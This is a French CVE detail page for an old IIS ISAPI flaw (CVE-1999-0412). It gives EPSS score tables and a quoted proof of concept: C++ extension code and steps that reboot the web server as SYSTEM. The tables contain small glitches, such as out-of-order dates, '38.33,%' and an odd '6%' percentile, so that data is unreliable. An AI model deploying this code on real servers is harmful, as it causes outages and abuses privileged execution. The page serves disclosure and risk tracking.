CVE-1999-0412 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	14.72%	–	–
2022-04-03	–	–	14.72%	–	–
2023-03-12	–	–	–	0.64%	–
2023-07-16	–	–	–	0.64%	–
2024-02-11	–	–	–	0.23%	–
2024-03-10	–	–	–	0.23%	–
2024-06-02	–	–	–	0.23%	–
2024-06-23	–	–	–	0.23%	–
2024-09-22	–	–	–	0.23%	–
2024-10-13	–	–	–	0.23%	–
2024-12-22	–	–	–	0.23%	–
2025-02-16	–	–	–	0.23%	–
2025-01-19	–	–	–	0.23%	–
2025-02-16	–	–	–	0.23%	–
2025-03-18	–	–	–	–	33.93%
2025-03-30	–	–	–	–	38.33%
2025-03-30	–	–	–	–	38.33,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	91%
2022-04-03	96%
2023-03-12	76%
2023-07-16	77%
2024-02-11	6%
2024-03-10	61%
2024-06-02	61%
2024-06-23	62%
2024-09-22	61%
2024-10-13	62%
2024-12-22	61%
2025-02-16	62%
2025-01-19	61%
2025-02-16	62%
2025-03-18	97%
2025-03-30	97%
2025-03-30	97%

source: https://www.securityfocus.com/bid/501/info IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window. Copied verbatim from a post to NTbugtraq by Fabien Royer <fabienr@BELLATLANTIC.NET>. Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don't call this from the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you'll reboot again. BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer) { HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure // Get the current process token handle so we can get shutdown // privilege. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); // Get the LUID for shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0); ExitWindowsEx(EWX_REBOOT,0); // Disable shutdown privilege. tkp.Privileges[0].Attributes = 0; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0); // Call default implementation for initialization CHttpServer::GetExtensionVersion(pVer); // Load description string TCHAR sz[HSE_MAX_EXT_DLL_NAME_LEN+1]; ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),IDS_SERVER, sz, HSE_MAX_EXT_DLL_NAME_LEN)); _tcscpy(pVer->lpszExtensionDesc, sz); return TRUE; } void CRbExtension::Default(CHttpServerContext* pCtxt) { StartContent(pCtxt); WriteTitle(pCtxt); *pCtxt << _T("Reboot<br>"); EndContent(pCtxt); }